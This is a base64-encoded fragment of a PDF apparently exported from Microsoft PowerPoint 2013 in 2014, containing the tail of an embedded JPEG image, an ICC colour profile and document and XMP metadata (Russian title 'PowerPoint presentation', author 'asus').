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 ukC1sIgqwRFYkHqBx+tc/wDDaC0XwrDdQ7WuZ3drmQ/eL7jwT9Mf5NdZXMXfgyI3013peqXultcH dMls+Ec+uOxoArabHDafE6/t7ABYJbFZblE4VZd3Bx64OfxNdhWVoOgWWhQyLbeZJNM26aeZt0kh 9Sa1aACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigA ooooAKKKKACiiigAooooAKKKKACiiigAqGK0tobia4igjSafHmyKoDPgYGT3wKmooAKKKKACiiig AooooAKKKKACiiigAooooAhFpbC8N4II/tJTyzLtG7bnOM+mamoooAKKKKACiiigAooooAKKKKAC iiigAooooAKKKKACiiigAooooAKKKKACmyxpNE8UihkdSrKehB6inUUAQ2dpb2FpHa2sQigjGEQd AOtTUUUAFFFFABRRRQAVWt9PtLW7uLuGBUnuSDLJ3fHTNWaKACiiigAooooAKKKKACiiigAooooA KKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAo oooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACii igAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKK ACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooA KKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAo oooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACii igAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKK ACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooA KKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAo oooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACii igAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKK ACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooA KKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAo oooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACii igAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKK ACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooA KKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAo oooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACii igAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKK AP/ZDQplbmRzdHJlYW0NCmVuZG9iag0KNiAwIG9iag0KPDwvVGl0bGUo/v8EHwRABDUENwQ1BD0E QgQwBEYEOARPACAAUABvAHcAZQByAFAAbwBpAG4AdCkgL0F1dGhvcihhc3VzKSAvQ3JlYXRpb25E YXRlKEQ6MjAxNDAyMjQxNzExNDkrMDQnMDAnKSAvTW9kRGF0ZShEOjIwMTQwMjI0MTcxMTQ5KzA0 JzAwJykgL1Byb2R1Y2VyKP7/AE0AaQBjAHIAbwBzAG8AZgB0AK4AIABQAG8AdwBlAHIAUABvAGkA bgB0AK4AIAAyADAAMQAzKSAvQ3JlYXRvcij+/wBNAGkAYwByAG8AcwBvAGYAdACuACAAUABvAHcA ZQByAFAAbwBpAG4AdACuACAAMgAwADEAMykgPj4NCmVuZG9iag0KNyAwIG9iag0KPDwvTiAzL0Zp bHRlci9GbGF0ZURlY29kZS9MZW5ndGggMjU5Mz4+DQpzdHJlYW0NCnicnZZ3VFTXFofPvXd6oc0w dBh6r1IGEOkdpFdRGGYGGMoAwwzYCyIqEFFEpCmCBAUMGA1FYkUUCwFRAXtAgoASg1FsqGRG1kp8 eXnv5eX3xz3f2mfvc/fZe9+1LgAkLz8uLx2WAiCNJ+AHe7rQI6Oi6dh+AAM8wABzAJisrAz/EI9Q IJK3uys9S+QE/kWvhwEkXm8ZewXS6eD/kzQrgy8AAAoU8RI2J4sl4jwRp+YIMsT2WRFT41PEDKPE zBclKGJ5MScustFnn0V2EjM7jccWsTjnDHYaW8w9It6RLeSIGPETcX42l5Mj4tsi1koVpnFF/FYc m8ZhZgGAIontAg4rScRmIibxQ4NdRbwUABwp8QuO/4IFnNUC8aVc0zPW8LmJSQK6Hkufbm5ry6B7 cXJSOQKBcSCTlcLks+mu6WkZTN4aABbv/Fky4trSRUW2Nre1tja2MDH/olD/dfNvStzbRXoZ9Lln EK3vD9tf+aXXAcCYE9Vm9x+2+AoAOrYBIH/vD5vWIQAkRX1rH/jiPjTxvCQJBBl2pqY5OTkmXA7L RFzQ3/U/Hf6Gvnififi438tDd+MkMIWpArq4bqz01HQhn56VwWRx6MZ/HuJ/HPjXeRgFcxI4fA5P FBEumjIuL1HUbh6bK+Cm8+hc3n9q4j8M+5MW51okSv0nQI01AVIDVID83AdQFCJAYg6KdqDf++aH DweBojVCbXJx7j8L+vdT4WLxI4ub+DnONTiUzhLysxf3xJ8lQAMCkARUoABUgSbQA8bAAtgAe+AE 3IEPCAChIAqsAiyQBNIAH+SA9WALyAeFYDfYBypBDagHjaAFnAAd4DS4AC6D6+AGGAL3wSiYAM/A LHgN5iEIwkJkiAIpQGqQNmQIWUAMaBnkDvlBwVAUFAclQjxICK2HtkKFUAlUCdVCjdC30CnoAnQV GoTuQmPQNPQr9B5GYBJMhVVgHdgUZsDOsC8cCq+EE+FMeC2cB++Cy+E6+BjcDl+Ar8ND8Cj8DJ5D AEJEaIg6YowwEFckAIlGEhA+shEpQMqQOqQF6UJ6kVvIKDKDvENhUBQUHWWMskd5ocJQLFQmaiOq CFWJOopqR/WgbqHGULOoT2gyWhltiLZDe6Mj0YnoHHQ+ugzdgG5DX0IPoSfQrzEYDA2ji7HBeGGi MMmYdZgizAFMK+Y8ZhAzjpnDYrEKWEOsAzYAy8QKsPnYCuwx7DnsTewE9i2OiFPDWeA8cNE4Hi4X V4Zrwp3F3cRN4ubxUnhtvB0+AM/Gr8EX4+vxXfgB/AR+niBN0CU4EEIJyYQthHJCC+ES4QHhJZFI 1CDaEoOIXOJmYjnxOPEKcYz4jiRDMiC5kmJIQtIu0hHSedJd0ksymaxDdiJHkwXkXeRG8kXyI/Jb CYqEiYS3BFtik0SVRLvETYnnknhJbUlnyVWSayXLJE9KDkjOSOGldKRcpZhSG6WqpE5JjUjNSVOk zaUDpNOki6SbpK9KT8lgZXRk3GXYMnkyh2UuyoxTEIomxZXComyl1FMuUSaoGKou1ZuaTC2kfkPt p87KyshayobLrpatkj0jO0pDaDo0b1oqrZh2gjZMey+nIucsx5HbKdcid1PujbySvJM8R75AvlV+ SP69Al3BXSFFYY9Ch8JDRZSigWKQYo7iQcVLijNKVCV7JZZSgdIJpXvKsLKBcrDyOuXDyn3Kcyqq Kp4qGSoVKhdVZlRpqk6qyaqlqmdVp9UoasvUuGqlaufUntJl6c70VHo5vYc+q66s7qUuVK9V71ef 19DVCNPI1WjVeKhJ0GRoJmiWanZrzmqpaflrrddq1rqnjddmaCdp79fu1X6jo6sTobNdp0NnSlde 11t3rW6z7gM9sp6jXqZend5tfYw+Qz9F/4D+DQPYwMogyaDKYMAQNrQ25BoeMBw0QhvZGvGM6oxG jEnGzsbZxs3GYyY0Ez+TXJMOk+emWqbRpntMe00/mVmZpZrVm903lzH3Mc817zL/1cLAgmVRZXF7 CXmJx5JNSzqXvLA0tORYHrS8Y0Wx8rfabtVt9dHaxppv3WI9baNlE2dTbTPCoDICGUWMK7ZoWxfb Tbanbd/ZWdsJ7E7Y/WJvbJ9i32Q/tVR3KWdp/dJxBw0HpkOtw+gy+rK4ZYeWjTqqOzId6xwfO2k6 sZ0anCad9Z2TnY85P3cxc+G7tLm8cbVz3eB63g1x83QrcOt3l3EPc690f+Sh4ZHo0ewx62nluc7z vBfay9drj9eIt4o3y7vRe9bHxmeDT48vyTfEt9L3sZ+BH9+vyx/29/Hf6/9gufZy3vKOABDgHbA3 4GGgbmBm4PdBmKDAoKqgJ8HmweuDe0MoIbEhTSGvQ11Ci0Pvh+mFCcO6wyXDY8Ibw99EuEWURIxG mkZuiLwepRjFjeqMxkaHRzdEz61wX7FvxUSMVUx+zPBK3ZWrV15dpbgqddWZWMlYZuzJOHRcRFxT 3AdmALOOORfvHV8dP8tyZe1nPWM7sUvZ0xwHTglnMsEhoSRhKtEhcW/idJJjUlnSDNeVW8l9keyV XJP8JiUg5UjKQmpEamsaLi0u7RRPhpfC60lXTV+dPphhmJGfMZppl7kvc5bvy2/IgrJWZnUKqKKf qT6hnnCbcCx7WXZV9tuc8JyTq6VX81b3rTFYs3PN5FqPtV+vQ61jreter75+y/qxDc4bajdCG+M3 dm/S3JS3aWKz5+ajWwhbUrb8kGuWW5L7amvE1q48lbzNeePbPLc150vk8/NHtttvr9mB2sHd0b9z yc6KnZ8K2AXXCs0Kywo/FLGKrn1l/lX5Vwu7Enb1F1sXH9yN2c3bPbzHcc/REumStSXje/33tpfS SwtKX+2L3Xe1zLKsZj9hv3D/aLlfeWeFVsXuig+VSZVDVS5VrdXK1Tur3xxgH7h50OlgS41KTWHN +0PcQ3dqPWvb63Tqyg5jDmcfflIfXt/7NePrxgbFhsKGj0d4R0aPBh/tabRpbGxSbipuhpuFzdPH Yo7d+Mbtm84W45baVlpr4XFwXHj86bdx3w6f8D3RfZJxsuU77e+q2yhtBe1Q+5r22Y6kjtHOqM7B Uz6nurvsu9q+N/n+yGn101VnZM8UnyWczTu7cG7tubnzGednLiReGO+O7b5/MfLi7Z6gnv5Lvpeu XPa4fLHXuffcFYcrp6/aXT11jXGt47r19fY+q762H6x+aOu37m8fsBnovGF7o2tw6eDZm443L9xy u3X5tvft60PLhwaHw4bvjMSMjN5h35m6m3r3xb3se/P3Nz9APyh4KPWw7JHyo7of9X9sHbUePTPm Ntb3OOTx/XHW+LOfsn76MJH3hPykbFJtsnHKYur0tMf0jacrnk48y3g2P5P/s/TP1c/1nn/3i9Mv fbORsxMv+C8Wfi16qfDyyCvLV91zgXOPXqe9nn9T8Fbh7dF3jHe97yPeT87nfMB+KP+o/7Hrk++n BwtpCwu/AfeE8/sNCmVuZHN0cmVhbQ0KZW5kb2JqDQo4IDAgb2JqDQo8PC9UeXBlL01ldGFkYXRh L1N1YnR5cGUvWE1ML0xlbmd0aCAzMzQ5Pj4NCnN0cmVhbQ0KPD94cGFja2V0IGJlZ2luPSLvu78i IGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz48eDp4bXBtZXRhIHhtbG5zOng9ImFkb2Jl Om5zOm1ldGEvIiB4OnhtcHRrPSIzLjEtNzAxIj4KPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8v d3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KPHJkZjpEZXNjcmlwdGlvbiBy ZGY6YWJvdXQ9IiIgIHhtbG5zOnBkZj0iaHR0cDovL25zLmFkb2JlLmNvbS9wZGYvMS4zLyI+Cjxw ZGY6UHJvZHVjZXI+TWljcm9zb2Z0wq4gUG93ZXJQb2ludMKuIDIwMTM8L3BkZjpQcm9kdWNlcj48 L3JkZjpEZXNjcmlwdGlvbj4KPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgIHhtbG5zOmRj PSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyI+CjxkYzp0aXRsZT48cmRmOkFsdD48 cmRmOmxpIHhtbDpsYW5nPSJ4LWRlZmF1bHQiPtCf0YDQtdC30LXQvdGC0LDRhtC40Y8gUG93ZXJQ b2ludDwvcmRmOmxpPjwvcmRmOkFsdD48L2RjOnRpdGxlPjxkYzpjcmVhdG9yPjxyZGY6U2VxPjxy ZGY6bGk+YXN1czwvcmRmOmxpPjwvcmRmOlNlcT48L2RjOmNyZWF0b3I+PC9yZGY6RGVzY3JpcHRp b24+CjxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiICB4bWxuczp4bXA9Imh0dHA6Ly9ucy5h ZG9iZS5jb20veGFwLzEuMC8iPgo8eG1wOkNyZWF0b3JUb29sPk1pY3Jvc29mdMKuIFBvd2VyUG9p bnTCriAyMDEzPC94bXA6Q3JlYXRvclRvb2w+PHhtcDpDcmVhdGVEYXRlPjIwMTQtMDItMjRUMTc6 MTE6NDkrMDQ6MDA8L3htcDpDcmVhdGVEYXRlPjx4bXA6TW9kaWZ5RGF0ZT4yMDE0LTAyLTI0VDE3 OjExOjQ5KzA0OjAwPC94bXA6TW9kaWZ5RGF0ZT48L3JkZjpEZXNjcmlwdGlvbj4KPHJkZjpEZXNj cmlwdGlvbiByZGY6YWJvdXQ9IiIgIHhtbG5zOnhhcE1NPSJodHRwOi8vbnMuYWRvYmUuY29tL3hh cC8xLjAvbW0vIj4KPHhhcE1NOkRvY3VtZW50SUQ+dXVpZDpDMTVCN0EyMi05RDFBLTQ3MTEtOTYy Ny1CM0JFMUY3RTNBOUI8L3hhcE1NOkRvY3VtZW50SUQ+PHhhcE1NOkluc3RhbmNlSUQ+dXVpZDpD MTVCN0EyMi05RDFBLTQ3MTEtOTYyNy1CM0JFMUY3RTNBOUI8L3hhcE1NOkluc3RhbmNlSUQ+PC9y ZGY6RGVzY3JpcHRpb24+CjxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiICB4bWxuczpwZGZh aWQ9Imh0dHA6Ly93d3cuYWlpbS5vcmcvcGRmYS9ucy9pZC8iPgo8cGRmYWlkOnBhcnQ+MTwvcGRm YWlkOnBhcnQ+PHBkZmFpZDpjb25mb3JtYW5jZT5CPC9wZGZhaWQ6Y29uZm9ybWFuY2U+PC9yZGY6 RGVzY3JpcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg 